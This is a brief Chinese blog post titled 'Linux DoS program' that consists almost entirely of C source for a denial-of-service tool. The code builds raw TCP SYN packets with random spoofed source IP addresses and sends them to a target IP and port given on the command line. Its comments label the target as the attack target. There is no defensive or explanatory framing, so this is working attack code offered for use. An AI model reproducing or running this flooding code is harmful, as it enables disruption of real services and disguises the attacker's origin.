linux端dos程序

我就是我 2024-04-18 21:12 49阅读 0赞

#include <sys/socket.h>
    #include <sys/types.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    
    #define LOCALPORT 8888 //本机发起攻击端口
    
    void send_tcp(int sockfd,struct sockaddr_in *addr);
    
    int main(int argc,char *argv[])
    {
    	int sockfd; //定义一个描述符
    	int port;
    	struct sockaddr_in addr;
    	int on; //on是在setsockopt函数中允许自己填充ip栈，也可以是布尔类型
    	on = 1;
    	if(argc != 3){ //判断参数个数
    		fprintf(stderr,"Usage:%s IP PORT\n\a",argv[0]);
    		exit(1);
    	}
    	
    	port = atoi(argv[2]);
    	if(port<1 || port>65535){
    		fprintf(stderr,"%s error, PORT:[0-65535]\n\a",argv[2]);
    		exit(1);
    	}
    	
    	
    	bzero(&addr,sizeof(struct sockaddr_in));//清空自己建的结构体
    	
    	addr.sin_family = AF_INET;//internet
    	addr.sin_port = htons(port);//设置端口
    	inet_aton(argv[1],&addr.sin_addr);//IP转换
    	sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP);//创建socket套接字
    	if(sockfd<0){
    		perror("socket Error");
    		exit(1);
    	}
    	setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));//设置ip协议栈，告诉内核，老子要自己写数据包
    	setuid(getuid());//要求超级用户
    	send_tcp(sockfd,&addr);//填充—+攻击
    	return 0;
    }
    
    void send_tcp(int sockfd,struct sockaddr_in *addr)
    {
    	char buffer[100];//用于存放数据包
    	struct ip *ip;
    	struct tcphdr *tcp;
    	int head_len,t;
    	head_len = sizeof(struct ip) + sizeof(struct tcphdr);//计算ip+tcp包长度
    	bzero(buffer,100);
    	
    	ip = (struct ip *)buffer;
    	ip->ip_v = IPVERSION;//一般版本为4
    	ip->ip_hl = sizeof(struct ip)>>2;//除去版本号的IP头部长度
    	ip->ip_tos = 0;
    	ip->ip_len = htons(head_len);
    	ip->ip_id = 0;
    	ip->ip_off = 0;
    	ip->ip_ttl = 64;
    	ip->ip_p = IPPROTO_TCP;//发送tcp包
    	ip->ip_sum = 0;//校验和，系统自己填充
    	ip->ip_dst = addr->sin_addr;//攻击的目标IP
    	printf("dest address is %s\n",inet_ntoa(addr->sin_addr));
    	
    	tcp = (struct tcphdr *)(buffer+sizeof(struct ip));
    	tcp->source = htons(LOCALPORT);
    	tcp->dest = addr->sin_port;
    	tcp->seq = random();//随机数函数
    	tcp->ack_seq = 0;
    	tcp->doff = 5;
    	tcp->syn = 1;
    	tcp->check = 0;
    	
    	for(t=0;t<5;t++){
    		ip->ip_src.s_addr=random();
    		//inet_aton(random(),&ip->ip_src.s_addr);
    		printf("My addr is %d !\n",ip->ip_src.s_addr);
    		sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr));
    	}
    }